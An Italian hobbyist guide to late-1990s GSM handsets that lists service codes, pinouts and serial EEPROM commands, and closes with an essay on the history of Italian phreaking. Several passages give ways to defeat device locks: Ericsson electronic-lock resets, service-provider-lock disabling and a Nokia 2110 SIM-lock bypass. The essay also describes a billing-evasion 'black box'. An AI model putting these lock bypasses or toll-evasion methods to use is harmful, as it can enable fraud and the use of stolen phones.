"VAL. => OK"
Quindi si inserisce 025121992 OK
"ENTER SPECIAL CODE"
****05* come i Motorola**
"UNBLOCKING"
" PUK ? "
10608CC2*. Anche questi due da Vodaphone funzionano 906081C2* 15900807*
"UNBLOCKING"

" PIN ? "
0000*
"UNBLOCKING"
"PIN AGAIN "
0000#

Sembra che debba trovare il PIN Perchè a questo punto il telefono si riavvia

Software releases

HC400 sul retro ha uno sticker con su l'IMEI e la versione software. L'Alcatel ha così diviso I versioni software:
1.x senza Cellbroadcast
5.x con Cell broadcast
la più recente software release dell' HC 1000 è la AK1 03

Alcatel HC600/800/1000

*#06# IMEI e Software Version (escluso HC600).
Questi sono i pinout dell' HC600 gli stessi dell' 800/1000 credo.

```
  1   3   5   7  9  11 13 15
   I   I   I   I   I   I   I   I
O                              O 17
   I   I   I   I   I   I   I   I
  2   4   6   8 10 12 14 16
```

1 Vbat_ext	9 SDA_E
2 EMMI_PAE	10 GND
3 Mic	11 GND
4 EMMI_OPE	12 DC_IN (charge)
5 GND	13 Speaker
6 EXT_EMET	14 MARCHE
7 SCL_E	15 DC_IN (charge)
8 EXT_RECDIT	16 GND
17 Antenna+internal switch (int/ext)	

4.6.2 Ericsson

<u>ERICSSON 198</u>
Per vedere l' IMEI: *#06#
Per resettare i timer 904060 <FUNCTION> <FUNCTION> SEND
Per ativare le modalità di Programmazione 923885 <FUNCTION> <FUNCTION>.
Potreste dover inserire questi codici con il tasto funzione premuto.

ERICSSON 218/337
Per vedere l' IMEI: *#06#
Per vedere la versione del Software: -> * <- <- * <- * CLR (Fare attenzione)
Per attivare l'SP lock <- * * <- (Permette di usare la SIM sono con un gestore di telefonia)
Premere Yes per bloccare e No per sbloccare. Per disattivare questa funzione potete anche usare i codici qui sotto. USATE A VOSTRO RISCHIO E PERICOLO
Almeno sul 337 c'è un sottomenù: Enter SPCK-code. Ci sono 5 possibilità, e vengono mostrate (05 attempts). All'ultima possibilità il telefon suona per avvertirvi, 'this is the final try', quando entrate nel menu'... Un codice errato fa uscire dal menù, così da non farvi restare bloccati... quando sbagliate il codice per 5 volte il menù viene disattivato, e verrà mostrata la scrittat: 'Not allowed' quando si digita <-**<-
Un "secret test mode" può essere raggiundo con un GH337. Dovrebbero esserci due modi:
> * < < * > * software version, come 940810 1310
> * < < * < * software version, come 951024 1054
Dopo aver avuto accesso a questo menu, i tasti < e > scorrono il menù. Sembra che ci siano diversi menù a seconda della versione del software.

I numeri delle versioni del software sembrano essere apparentemente una data e orari.

la versione 940810 1310 ha:

TEXT CHECK - mostra 254 messaggi

INIT EEPROM MMI - resetta i settaggi NVRAM (User Settings).

Altri, probabilmente della versione più recente:

FLASH - riavvia il telefono al punto dell'inserimento del codice PIN.Non si può 'Killare' un 337 premendo YES quando chiede "FLASH?", devi prima collegarlo a 5/12 volts per poter cancellare la memoria flash.

1-ROW TEXTS - scorre 174 messaggi di una linea con i tasti <>

n-ROW-TEXTS - scorre i messaggi a tutto schermo con < e >

la versione 950626 1405 ha:

CXC (number) - Application software's "product number". Il GH337/GF337 è sempre "CXC 125 005"

PRG - Indicazioni per programmare.

Programmare il 337
Setttare ComPort a 9600bps, 8 data, 1 stop, no parity.
Accendere il telefono con "NO/ENDpwr".
Durante la seguenza di avvio il telefono invierà ">>"
(ASCII 62 decimal). Entro un secondo, inviare questa sequenza "TP1<CR>".
(Abbiamo usato il programma PROCOMM PLUS con questo script "eric.asp")
[proc main]
[start:]
[ ]
[waitfor ">>"]
[pause 1]
[transmit "TP1^M"]
Se tutto è andato bene dovresti ottenere "OK".

Provate TEST PROGRAM inviando i comandi seguiti da <CR>:

PROG 0 (Test Program product number info)
PROG 1 (Test Program product date info)
PROG 3 (Main Application product number info)
PROG D (Main Application product date info)

Programmare la Calcolatrice e il Channel Indicator/RBS
Per abilitare, inviare:
EEWR 047A 01
Aspettare l'OK, Spegnere* e staccare i cavi. Accendere e scorrere i menù.
Per disabilitare:
EEWR 047A 00

Resettare il blocco elettronico
Per resettare il blocco dovrete cancellare l' EEPROM nel range 045B - 0466 inviando questi comandi:
EEWR 045B 00
EEWR 045C 00
EEWR 045D 00
EEWR 045E 00
EEWR 045F 00

EEWR 0460 00
EEWR 0461 00
EEWR 0462 00
EEWR 0463 00
EEWR 0464 00
EEWR 0465 00
EEWR 0466 00

Disabilitare il Service Provider Lock

Per disabilitare inviare:
EEWR 1587 00
Per abilitare:
EEWR 1587 01

Comandi sperimentali - Usate a vostro rischio
Per prendere i settaggi del software:
PREA <bank> <address> <bytestoread>
Bank range : 00..7F
Address : 0000..BFFF
Bytestoread : 0000..BFFF
I valori in più alla fine sono i checksum per i byte di memoria rstituiti. Il formato sarà sempre 0000 e non 00.
PREA FF
application checksum, impiega qualche secondo.

Note sul PH 337

1. 1. La calcolatrice non è disponibile su tutte le versioni di Software.
2. 2. Calc/RBS mode non disponibile sui GH337 nelle versioni software precedenti la R2A
3. 3. i tentativi SPCK possono essere cambiati da 5 a 50
4. 4. L'istruzione LIME fa apparire ERR ma non danneggia il telefono.
5. 5. L'istruzione IMEI restituisce il numero IMEI.
6. 6. Rispondendo con YES a FLASH? Distrugge l'unità.

COSE DA PROVARE
Settare ComPort a 115200bps, 8 data, 1 stop, no parity e vedrete tutti i comandi sullo schermo. Fate una chiamata e vedete cosa accade...

ERICSSON 318/388

IMEI: *#06#
Software Version: -> * <- <- * <- * CLR (Fare attenzione)
L'Ultima versione del software è sotto Phone Info.
Per regolare bene il suono e eliminare gli eco, mettete il 388 in un kit viva voce HF 2600. Chiudete tutte i finestrini, spegnete il motore e digitate * # * # 3. Il telefono si regolerà automaticamente in pochi secondi.
SP lock <- * * <-

Yes per bloccare e No per non bloccare.

Programmare la flash di un 388:

1. Connettere il 388 al cavo con un RS232/TTL.
2. Settare Comport a 9600bps, 8 data, 1 stop, no parity.
3. Power ON, attendere "2" e inviare "OB" al telefono. Non premere ENTER.
4. R dovrebbe apparire sullo schermo.
5. inviare pre_xxx.bin al MS.
6. dovrsti ricevere ">".
7. inviare "0B" di nuovo.
8. R dovrebbe apparire sullo schermo
9. inviare prodload.bin al MS.
10. riceverete ">".

Al momento non ho i files .bin. Provate su MobileWorld.

Programmare il Channel Indicator o RBS
Per abilitare inviare:
EEWR 3EE 1
Attendete OK , spegnete* il telefono e scollegate i cavi. Accendete il telefono e scorrete tra i menu.
per disttivareinviare:
EEWR 3EE 0

Resettare il blocco elettronico
Per resettare il blocco dovrete cancellare l' EEPROM nel range 03CF to 03DA inviando questi comandi:
EEWR 3CF 00
EEWR 3D0 00
EEWR 3D1 00
EEWR 3D2 00
EEWR 3D3 00
EEWR 3D4 00
EEWR 3D5 00
EEWR 3D6 00
EEWR 3D7 00
EEWR 3D8 00
EEWR 3D9 00
EEWR 3DA 00

COSE DA PROVARE
Settare ComPort a 115200bps, 8 data, 1 stop, no parity e vedrete tutti i comandi sullo schermo. Fate una chiamata e vedete cosa accade...

SPEGNERE
Dovreste premere no uun po' di volte finchè il prompt Shut down? appare, premere YES e il telefono si spegnerà.

Leggere le Channel Info

```
|-------|-------|-------| D
|       |       |       | I
|   1   |   2   |   3   | S
|-------|-------|-------| P
|       |       |       | L
|   4   |   5   |   6   | A
|-------|-------|-------| Y
```

1. 3 info diverse a seconad dello stato del telefono.

- **a. Il telefono non fa nulla: "Bxxx". "B" è "Broadcast channel" (a logic GSM channel)**
- **b. Chiamata in corso: "Sxxx". S è "Stand Alone Dedicated Control Channel" SDCCH.**
- **c. Chiamando: "Txxx". "T" è Traffic channel. Le "xxx" indicano il numero del canale, 1-124.**

2. Rx Level.I valori vanno da 0 a 63. Rx Level indica l'intensità della ricezione. 0 indica un segnale di -110dBm. 63 è circa -45 -50dBm.RXLEV è misurato in dBm in modo che il segnale in ingresso equivale a -110.5+RXLEV così che un RXLEV a 50 equivale a un'intensità del segnale di ingresso di -50.5 dBm (con un errore di 0.5dBm)
3. Output power in dBm.
4. Timeslot usato al momento. Si vede quando si fa una chiamata.
5. Rx Quality. Rx Quality indica quanta correzione di errore è necessaria per parlare. 0 indica nessuna, e come aumenta udrai più PING e PONG. Se RxQ è maggiore di 5, hai ottime probabilità di perdere la chiamata. RxQuality va da 0 a 7.RXQUAL viene misurata con una tavola in modo che la biterrorrate o BER siainteressante e misurata in %
RXQUAL table
0 BER < 0,2 (%)
1 0,2 < BER < 0,4
2 0,4 < BER < 0,8

3 0,8 < BER < 1,6
4 1,6 < BER < 3,2
5 3,2 < BER < 6,4
6 6,4 < BER < 12,8
7 12,8 < BER
6. Timing advance. TA viene misurato in halfbits cosicchè la distanza dal BTS può essere così calcolata =1,11*TA/2. I valori del TA vanno da 0 a 63. Questo indica anche quanto siete distanti dalla base in blocchi di 550 metri, fino ad un massimo teorico di 35.2km.

ERICSSON 788
IMEI *#06#
Software Version * -> * <- <- * <- *
Service Provider Lock * <- <- * ma viene chiamato ME lock. Dopo averlo selezionato ci sono due opzioni su un altro menù(Lock to Network e lock to Network subsect).

Codici per Ericsson GH688 GH388 GH628 GF788 GF768
*#06# IMEI (International Mobile Equipment Identity)
*#0000# Resetta la lingua in Inglese.
>*<<*<* firmware revision information (software release)
CXC125065 - internal product code.
PRG - Firmware revision (date & time stamp).
970715 1515
>*<<*<*> 1-row text strings. Mostra tutti i txt di una riga. (298)
>*<<*<*>> n-row text strings. Mostra tutti i txt di più righe. (160?)

ERICSSON Pin-Outs 2xx & 3xx Series
1 In Voice
2 In +5V=External Power, 0V=Battery
3 Out Ext Speak control
4 Analog GND
5 Out Voice
6 Out +5V=POWER ON, 0V=POWER OFF
7 Out Charger control
8 Digital/DC GND
9 In 0V=normal,+5V=test, +12V=test+flash
10 In Hook
11 In TTL serial in
12 Out TTL serial out
13 In 0V for aprox 1 sec = POWER ON/OFF
14 14 In DC Power supply

ERICSSON GH688 Pin-Outs
1 = + external power supply
2 = RS232 input (TTL)
3 = GND (digital)
4 = RS232 output (TTL)
5 = +5V output
6 = Test
7 = Mute
8 = Internal/external
9 = GND (analogic)
10 = ?
11 = BF in
12 = BF out

1: Per caricare la batteria e alimentazione esterna.
Non fa funzionare il telefono senza la batteria
Voltaggio: 7.2V con almeno 600mA.

_2:_ RS232 serial line input a livello TTL (0/5V).
Quando il telefono è acceso, questo PIN è a "0" (?!?!?), contro ogni logica.
Connettetevi la RS232/TTL anche se l'output è 1!!!
_3:_ GND digital....no comment!
_4:_ RS232 serial out put a livello TTL (0/5V). Quando il telefono è acceso è a 1.
_5:_ +5V output con telefono acceso.
_6:_ Mode test. Generalmente è a 0. Per andar ein Test mode, spegnere il telefono, mettere il Pin a 1 (+5V), accendere il telefono. In questo modo la seriale lavora a 115200 invece che ai soliti 9600.
_7:_ Mute. Di solito a 0, Va a 1 Quando si scorre o durante la conversazione.
_8:_ Se aperto, Il microfono e lo speaker interni sono accesi. Se a 0 sono abilitati quelli esterni.
_9:_ GND analogic (no comment).
_10:_ Mistero. Quando è a zero sembra che speaker e microfono si attenuino.
_11:_ BF in (no comment...)
_12:_ BF out (no comment...)

4.6.3 4.6.3 Motorola

<u>MOTOROLA 6200/7500/8200/8400/8700</u>
<u>Attivare l'RBS (Engineering Menus):</u>

[pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
(pause indica il tasto * tenuto premuto)
Premere ora [MENU] scorrere fino a 'Eng Field Options' con le frecce e attivarlo.

<u>Disattivare l'RBS (Engineering Menus):</u>

[pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
Funziona sui 6200,8200,1-888,7500,8400 e gli StarTac GSM con una versione del software successiva alla .27.
Opzioni dell'Eng Field Options
Eng Field Options
Active Cell
RxLev -55 Potenza ricevuta in dBm
NCC 0 National Colour Code, usato per identificare il colore
BCC 7 Broadcast Colour Code, anche questo serve a scopi identificativi
MSTxPwr 35 Massimo potere di trasmissione possibile 35dBm circa 3.2W
C1 003 Indica la qualità di controllo del segnale inviata costantemente dall'RBS. Se il segnale rimane negativo per 5 secondi, il telefono cambia cella.
Time Adv xxx xxx è un numero. Moltiplicato per 550da' la distanza in metri dall'RBS RBS (Radio Base Station), in meters.
Adjacent Cells
Adj Cell 1
Channel 0033 Numero del canale
RxLev -65 Potenza del segnale ricevuto in dBm
BCCH Decode Dovrebbe significare che è capace di decodificare la channel information contenuta nel BHCC
RxLevAM -104 Ricezione Minima consentita, comparata con RxLev -65 si ottiene C1 (che è 39) e viene reinviata alla base come indicatore della forza del campo
MTxPwr 35 Aain max consentito
C1 003 ??
NCC 0 National Colour Code
BCC 6 Broadcast Colour Code
System Parameters
Combined Off ??
AcsClas 0000 Consente diverse priorità -(questo gestore non lo supporta).

MCC 505 Mobile Country Code, 505 per l'Australia, 240 per la Svezia etc
MNC 01 Mobile Network Code, 01 02.. a seconda del gestore
LAC 08720 Location Area Code, dove siete.
CellID 00473 Base Station Identity
T3212 005 Tempo tra gli aggiornamenti periodici della rete
(o ore o minuti che mancano. non sono sicuro)
BS-PA-MFRM 4 ??
XZQTY 14.3 ??

Motorola Flip Pinout:
ANT- (O) | | | | | | | | | |
10 9 8 7 6 5 4 3 2 1
parte superiore (Schermo)
1) Audio Ground
2) Ext b+
3) T Data
4) C Data
5) R Data
6) Logic Ground
7) Audio Out - on/off
8) Audio In
9) Manual Test
10) Battery Feedback

4.6.4 4.6.4 NEC

NEC G8/NEC G9/NEC Kiss/NEC Sportz Digital
IMEI: *#06#

4.6.5 4.6.5 Nokia

NOKIA 1610
IMEI *#06#
Software Version *#170602112302#
L'ultima versione è sotto Phone Info

Pinouts

1	**GND**	**Digital Ground**
2	**V_OUT**	**Output per accessori. (Min/Typ/Max - 3.25V...10V - Output Current 50mA)**
3	**XMIC**	**Input dek microfono esterno e identificazione accessori *TYP/MAX: 8...50 mV(Il valore massimo corrisponde a 0dBm Network LIVELLO CON GUADAGNO AMPLIFICATORE IN INGRESSO SETTATO A 20 dB ,Il valore tipico è il massimo -16 dB)**
	ID	**Accessory Identification *1,7...2,05 V HEADSET ADAPTOR connesso *1,15...1,4 V COMPACT HANDSFREE UNIT connesso**
4	**NC**	**Non Connesso**
5	**NC**	**Non Connesso**
6	**MBUS**	**Serial Control Bus *Logic Low Level: 0....0.5V *Logic High Level:2.4V....3.2V**
7	**NC**	**Non Connesso**
8	**SGND**	**Signal Ground**
9	**XEAR**	**Speaker esterno e controllo Mute *Min/Typ/Max: 0....32....500 mV (il livello tipico corrisponde a -16 dBM) Network Level col volume settato a un valore nominale di8dB sotto il massimo**

Maximum 0 dBM m,assimo guadagno volume codec -6dB)
Mute ON (HF SPEAKER MUTE):0...0,5 V d.c.
Mute OFF (HF SPEAKER ACTIVE): 1,0...1,7 V d.c.

10	Hook	Hook Signal *Hook Off (Handset in uso): 0....0.5V *Hook On (Handset in Uso): 2.4V....3.2V
11	NC	Non Connesso
12	V_IN	Voltaggio del caricabatterie (Max 16V)

NOKIA 2010
IMEI *#06#
Software Version *#9999#

NOKIA 2110 / PHILIPS 747
IMEI *#06#
Software Version *#9999#
L'ultima versione è sotto Phone Info
Il tipo è NHE-1XN
Per bypassare il SIM Lock sul 2110;
Accendere il telefono, Quando chiede il codice di sicurezza,
premere 112 e dopo il pulsante di invio.
ora premere velocemente # e invio, end, invio e invio.
Questo disattiva il Sim Lock fino alla prossima volta in cui spegnerete il telefono.

NOKIA 2110e/i / PHILIPS 747II
IMEI *#06#
Software Version *#170602112302#
Con l'ultima versione del software digitare invece *#682371158412125#
L'ultima versione è sotto Phone Info
Settimana e anno di fabbricazione: *#3283#
Sui telefoni fabbricati prima del 01/01/96 1295 significa December 95, sui telefoni successivi allo 01/01/96 2196 significa la 21esima settimana del 1996.
Per togliere il CAPS LOCK tenere premuto il pulsante dela lettera desiderata.

NOKIA 2110 PINOUT
Pinouts del X100 system connector
ANT 16 9 Connettore caricabatterie
(O) I-I-I-I-I-I-I-I ( ) (o)
CON 8 1
Il simbolo (O) a sinistra è il connettore dell'antenna per i kit per auto. i simboli numerati 16-9 in cima e 8-1 in basso sono i system connector. La ( )è lo soazio tra il connettore e (o) è l'attacco per il caricabatteria da casa.

PIN	Name	Description
1,9	GND	Terra (Digital)
2	MIC/JCONN	Input audio esterno dagli accessori o microfono esterno.
3	AGND	Terra analogico per gli accessori
4	TDA	DBUS data trasmesso agli accessori
5	M2BUS	Serial Bidirectional data e controllo tra telefono e accessori
6	HOOK/RXD2	Hook indication. HP ha un resistore pull-up di100KE pull-up
7	PHFS/TXD2	Kit mani libere on/off, dati per flashare le apparecchiature di programmazione.
8,16	VCHAR	Voltagio per la ricarica delle batterie
10	EAR/HFPWR	Audio output per gli accessori e kit mani libere
11	DSYNC	DBUS data bit sync clock
12	RDA	DBUS dati ricevuti dagli accessori
13	BENA	Power supply all'adattatore
14	VF	Voltaggio di programmazione per la FLASH

15 DCLK DBUS data clock

DTMF PROGRAMMING

E' possibile programmare un intera sequenza di toni DTMF.

- • **Digitare il numero.**
- • **Premere tre volte * appare una 'p' (pause).**
- • **digitare la sequenza di toni DTMF , si può usare 'p' di nuovo.**
- • **Memorizzare.**
- • **se selezionate ore questo numero dalla memoria e lo chiamate, il telefono aspetterà qualche secondo (pause) e poi invierà la stringa come DTMF.**
- • **Un'altro modo consiste nel premere * quattro volte: appare una 'w' (wait). Quando la 'w'arriva al punto di essere eseguita nella stringa, 'DTMF' appare sulò menu' del pulsante destro. Quando premete questo pulsante il telefono inizierà ad inviare i DTMF.**
- •

CARKIT PROGRAMMING

Se usate un Kit per auto con un viva voce e un una cornetta addizionale, e volete passare dal vivavoce alla cornetta:

- • **Premete il bottone del menu a sinistra, e alzate la cornetta.**
- • **Ora siete col vivavoce.**

<u>NOKIA 3110</u>
IMEI *#06#
Software Version *#3110#
***#92702689# - il telefono chiederà un codice di garanzia:**
Ci sono alcune possibilità qui
6232 (OK) : Mese e anno di fabbricazione
7332 (OK) : Data dell'ultima riparazione
7832 (OK) : Data di acquisto del telefono
9268 (OK) : Serial Number
37832 (OK) : Settare la data di acquisto MMYY
87267 (OK) : Coinferma trasferimento, relativo a quando si aggiorna il firmware.
***#746025625# - il telefono dirà 'SIM CLOCK STOP ALLOWED' o "SIM CLOCK STOP NOT ALLOWED" a seconda della SIM Card.**
***#7780# ripristina le impostazioni della fabbrica.**
Tipo NHE-8

<u>NOKIA 3810</u>
IMEI *#06#
TSoftware Version *#3810#

<u>NOKIA 5110/6110</u>
IMEI *#06#
Software Version *#0000#
L'ultima versione è sotto Phone Info
Tipo NSE-3NX
***#92702689# Mostra IMEI e numero seriale. Ci sono varie opzioni tra cui scorrere.**
- data di fabbricazione (Made: 1197)
- Data di acquisto (Purchasing Date: 1197)
- Data di riparazione (Repaired: 0000)
- Transfer User Data?

Per uscire spegnere il telefono e riaccenderlo.
***3370# attiva Enhanced Full Rate (*efr0#)**
#3370# disattiva Enhanced Full Rate (#efr0#)
***4720# attiva Half Rate (*hra0#)**
#4720# disattiva Half Rate (#hra0#)
Inserendo questi codici il telefono si riavvierà.

6110 Sim Card Locking

La SIM card può essere bloccata in quattro modi sul 6110.
Country Lock - La lega al paese di appartenenza
Network Lock - La lega al Network
Provider Lock - La lega al gestore di rete
Sim Lock - Lega il telefono a quella SIM
Per vedere lo stato del proprio telefono
#pw+(mastercode)+X#
(mastercode) è un numero di 10 cifre.
X è un numero da 1 a4, indica uno dei 4 precedenti blocchi.
'Sim not restricted' indica che il telefono non è bloccato

Nuove suonerie

Settare SMSC +358405202999 (Smart Messaging)
Inviare un SMS al numero 99999 con la parola TONESnel testo
Appena otterrete una risposta (sarà una lista di nuove suonerie), modificatela in modo che la suoneria che volete ricevere non abbia l'asterisco davanti. Inviate il messaggio al 99999. Il telefono mostrerà NEW RINGTONE RECEIVED.

NOKIA 8110/8110i

IMEI *#06#
Software Version #8110#
L'ultima versione è sotto Phone Info.
***#92702689# - il telefono chiederà un codice di garanzia:**
Ci sono alcune possibilità qui
6232 (OK) : Mese e anno di fabbricazione
7332 (OK) : Data dell'ultima riparazione
7832 (OK) : Data di acquisto del telefono
9268 (OK) : Serial Number
37832 (OK) : Settare la data di acquisto MMYY
87267 (OK) : Coinferma trasferimento, relativo a quando si aggiorna il firmware.
***#746025625# - il telefono dirà 'SIM CLOCK STOP ALLOWED' o "SIM CLOCK STOP NOT ALLOWED" a seconda della SIM Card.**
Il tipo di telefono è NHE-6

Pinouts

1	**GND**	**Charger/System Ground**
2	**V_OUT**	**Output per accessori. (Min/Typ/Max - 3.4V...10V - Output Current 50mA)**
3	**XMIC**	**Input dek microfono esterno e identificazione accessori**
		***TYP/MAX: 8...50 mV(Il valore massimo corrisponde a 0dBm Network LIVELLO CON GUADAGNO AMPLIFICATORE IN INGRESSO SETTATO A 20 dB ,Il valore tipico è il massimo -16 dB)**
	ID	**Accessory Identification**
		***1,7...2,05 V HEADSET ADAPTOR connesso**
		***1,15...1,4 V COMPACT HANDSFREE UNIT connesso**
4	**EXT_RF**	**Controllo antenna esterna**
		Min/Max: 0...0.5V RF esterna in uso
		Min/Max: 2.4...3.2V uso antenna interna
5	**TX**	**FBUS Transmit**
6	**MBUS**	**Serial Control Bus**
		***Logic Low Level: 0....0.5V**
		***Logic High Level:2.4V....3.2V**
7	**NC**	**Non Connesso**
8	**SGND**	**Signal Ground**
9	**XEAR**	**Speaker esterno e controllo Mute**
		***Min/Typ/Max: 0....32....500 mV (il livello tipico corrisponde a -16 dBM) Network Level col volume settato a un valore nominale**

di8dB sotto il massimo
Maximum 0 dBM m,assimo guadagno volume codec -6dB)
Mute ON (HF SPEAKER MUTE):0...0,5 V d.c.
Mute OFF (HF SPEAKER ACTIVE): 1,0...1,7 V d.c.

10	**Hook**	**Hook Signal**	
			***Hook Off (Handset in uso): 0....0.5V**
			***Hook On (Handset in Uso): 2.4V....3.2V**
11	**NC**		**Non Connesso**
12	**V_IN**	**Voltaggio del caricabatterie (Max 16V)**	

NOKIA 9000/9000i
IMEI *#06#
TSoftware Version *#682371158412125#
L'ultima versione è sotto Phone Info
Anno e mese di fabbricazione *#3283#
Tipo di telefono GE8

NOKIA GENERAL INFO
Queste informazioni sono valide solo per i 2010, 2110, 2110e (e probabilmente gli ETACS 636 e forse 232), non i 1610 o 8110 perche' usano differenti caricatori.
Il caricabatterie della NOkia fornisce 12Vdc limiutati a 770mA. La fine della ricarica viene identificata dallo stesso telefono. Notate che connettendo 12Vdc senza limitare la corrente danneggia sia il telefono che le batterie. A volte il telefono mostrerà la scritta"not charging", Altre volte il transistor all'interno del telefono si brucerà

4.6.6 4.6.6 Philips

Philips DIGA
IMEI *#06#
Connect Time *#2558*#
(No) Blocking List *#3333*#
Init, Flags, Sim Lock *#3377*#
Resetta la (No) Blocking List *#3353*#
Mostra il Security Code *#7489*#

Philips FIZZ
IMEI *#06#
informazioni sul telefono *#8377*#

"Version : 0916 - EEPROM : 00000000-00 - TDA : 1941 - KISS : 0502"

Alcuni telefoni, probabilmente quelli col SIM lock attivato, mostrano la scritta SIM-LCK alla fine della stringa.
security code *#1234*# (1234 è quello di default...)

"Security code : XXXXX"
Service Code *#5644*#

"Version : 09162205 - EEPROM : 0000000-00 - TDA : 1941 - KISS : 0502"

Philips SPARK / GENIE
IMEI *#06#
***#2254*# : Statusregister: C, BS, RR, MMI, CREAT.**
***#2255*# : attiva e disattiva "DEBUG CALL"-Mode; quando attivato, chiama un numero occupato e il telefono mostrerà delle stringhe esadecimali.**
***#2558*# : Il tempo in ore minuti e secondi in cuisei stato connesso alla rete.**
***#2562*# : IUl telefono si riconnette alla rete**
***#2565*# : warmstart ?**
***#3333*# : (NO) BLOCKING - list (15 oggetti)**
***#2377*# : "BEER": non chiaro. A volte il telefono aspetta un po' e poi si ricollega alla rete, a volte si resetta.**
***#3377*# : Init, Flags, SIM LCK**

***#3353*# : resettta la (NO) BLOCKING - list**
***#7378*# : Name, Length, SIM phase**
***#7489*# : SECURITY CODE**
***#7693*# : attiva e disattiva lo SLEEP MODE (se disattivato la batteria scendera!)**
***#7787*# : SPURIOUS INTERRUPT**
***#7948*# : SWITCH OFF: non chiaro; sembra un timer**
***#8463*# : Informazioni sullo SLLEP MODE: Wake, Sleep Req., Sleep**

Philips Pinouts (Fizz e Spark)

1	**GROUND**
2	**GROUND**
3	**HANDS FREE ON/OFF**
4	**MUTE**
5	**TX**
6	**RX**
7	**RTS**
8	**REPROGRAMMING**
9	**ON HOOK CHARGER (APPROX 13V? TO 14V)**
10	**AUX MIC**
11	**AUX SPEAKER**
12	**GROUND**
13	**+VCC for Car Charger**
14	**14 +VCC for Car Charger**

Tutti i GSM Philips antecedenti il Philip's Fizz sono stati prodotti in cooperazione con la Nokia.

Sezione 5: Storia e Varie

5.1 Non solo scatole blu
Di M.F. Tratto da Decoder

Capita sempre più spesso, sfogliando riviste più o meno specializzate o anche normalissimi quotidiani, di imbattersi in episodi di pirateria telefonica (utilizzo di determinati servizi eludendo il relativo addebito).

Citando Stephen King, si può dire che tali eventi costituiscono l'inseparabile "metà oscura" della telefonia. Diventa più complicato distinguere in essi ciò che realmente può essere chiamato "phreaking" e ciò che risulta essere un banalissimo reato; la differenza esiste ed è sostanziale: il phreaker è un esperto di telecomunicazioni che ricerca e utilizza metodi per evitare la tassazione della chiamata, una cosa ben diversa dal furto di un apparecchio cellulare o dallo scasso di un telefono pubblico con trapano e scalpello.
Definito il termine, rimane da chiedersi se in Italia esistano davvero gruppi di phreaker o se nella migliore delle ipotesi esistano solo lamer che si occupano unicamente di utilizzare informazioni provenienti dall'estero, e di cui conoscono solo in parte il significato tecnico. (Il termine "lamer" nel modo informatico indica un incapace che sfrutta passivamente prodotti o metodi elaborati da altri). Smettiamola quindi per un attimo di pensare agli abili phreaker nordeuropei, americani o australiani ed esaminiamo la situazione del nostro paese.
Chi si serve delle sue conoscenze in campo informatico-telematico per inserirsi in sistemi riservati di scambio dati e acquisire particolari info o privilegi (studiando e bypassando i metodi di protezione adottati) è un hacker; requisito essenziale per un hacker è il possesso di un modem. Hacking e phreaking sono strettamente legati: è utile collegarsi a un sistema senza pagare la telefonata, specie se intercontinentale, e nello stesso tempo lo studio delle caratteristiche di una rete telematica può portare a nuovi metodi di chiamata senza addebito.

Un BBS (banca dati) gestito da un privato o da un gruppo rimane inoltre il miglior mezzo per lo scambio di informazioni, ancora meglio se si tratta di più BBS collegati in rete.
Il Piano Regolatore Telefonico Nazionale (P.R.T.N.) definisce i ruoli delle Aziende che formano il gruppo STET, assegnando a SIP il compito di gestire i rapporti con il singolo utente.
L'inerzia da parte della società nell'accettare la libera diffusione di apparati modem, nei primi anni Ottanta, impedì per lungo tempo l'esplosione del fenomeno banche dati private, al contrario di quanto avveniva all'estero nello stesso periodo; in effetti, da questo punto di vista il nostro paese rimase decisamente arretrato.
In quegli anni erano cominciati in Italia gli esperimenti per la realizzazione di una rete nazionale di interscambio dati sull'onda del successo del network inglese PSS. Tuttavia, gli alti costi di abbonamento/traffico e la pretesa da parte di SIP di censire ogni modem privato autorizzando solo l'uso di apparati "omologati" limitarono l'utilizzo di questa rete, che fu chiamata Itapac, a pochi privilegiati. In realtà le periferiche "omologate" erano sì prodotti di buona qualità, ma assolutamente uguali a quelli venduti in altri Paesi a 1/3 del prezzo italiano (a quanto pare SIP riuscì a guadagnarci qualcosa, visto che lo stesso giochetto fu successivamente applicato a cordless, FAX e telefoni cellulari. Attualmente vale solo per questi ultimi).
La diffusione dei compatibili IBM e dei portatili con modem incorporato introdusse l'era dello scambio dati tra utenti in Italia, ma fu il Commodore 64 il vero simbolo informatico della prima metà degli anni Ottanta. Furono importati accoppiatori acustici e modem diretti realizzati per questo computer, e si cominciò a parlare di banche dati, anche se la velocità di trasferimento ammessa dal protocollo CCITT V22 non era molto alta (circa 130 caratteri alfabetici per secondo come punta massima). L'incognita della mancata omologazione dei suddetti modem restò tale ancora per qualche anno, ma i provvedimenti della compagnia telefonica contro questo tipo di abusi da parte dell'utente furono pochissimi, e tutti giustificati da poco plausibili dichiarazioni di danni arrecati alle linee a causa di manipolazioni non autorizzate.
Nello stesso periodo SIP cominciò a sentire la necessità dei una rete di servizi più vicina all'utente, copiò i modelli europei e partorì una mostruosa creatura: il Videotel (VDT).
Per ridurre le raffiche di spurie, effetti delle interferenze elettromagnetiche sulle linee, fu utilizzato il protocollo CCITT V23-1200/75 BPS, tuttora in uso, associato a sistemi di correzione dei dati trasmessi. Questa scelta impose l'acquisto di un modem che prevedesse tale non comunissimo formato, oppure l'impiego del terminalino fornito da SIP stessa.
Videotel fu un prodotto sciagurato: non incontrò il previsto favore popolare, e i gestori fecero di tutto per promuoverlo trascurandone il difetto principale: i costi di collegamento oltre ogni razionale proporzione, Come primo errore, riempirono il sistema di account intestati a utenti inesistenti, che subito finirono nelle mani di decine di abusivi. Se la diffusione di tali codici di accesso fu in un certo senso calcolata, per motivi pubblicitari, non fu previsto l'effetto collaterale: con una buona quantità di password facilmente a disposizione, gli hacker dedussero al volo il peraltro elementare algoritmo che le generava.
Commodore commercializzò un piccolo modem per connettere C64 a VDT e successivamente Philips ideò un interfaccia che trasformava il televisore di casa in un terminalino: la caccia alla password Videotel divenne uno sport nazionale.
Sul piano del phreaking, il canale della pirateria software (da sempre strettamente legato agli abusi telefonici) continuò a regalare aneddoti e informazioni, specialmente di origine americana o nordeuropea; in Italia tuttavia mancavano le condizioni per poterle utilizzare.
Unica eccezione la black box, sperimentata anche nel nostro paese diverso tempo prima, che fu riesumata: si trattava di un semplice gruppo di componenti elettronici (talvolta un solo resistore) che compensando la variazione di un parametro fisico della linea impediva alla centrale dell'utente di rilevare che egli aveva appena risposto a una chiamata. In tal modo, il chiamante non riceveva addebito per quella comunicazione.
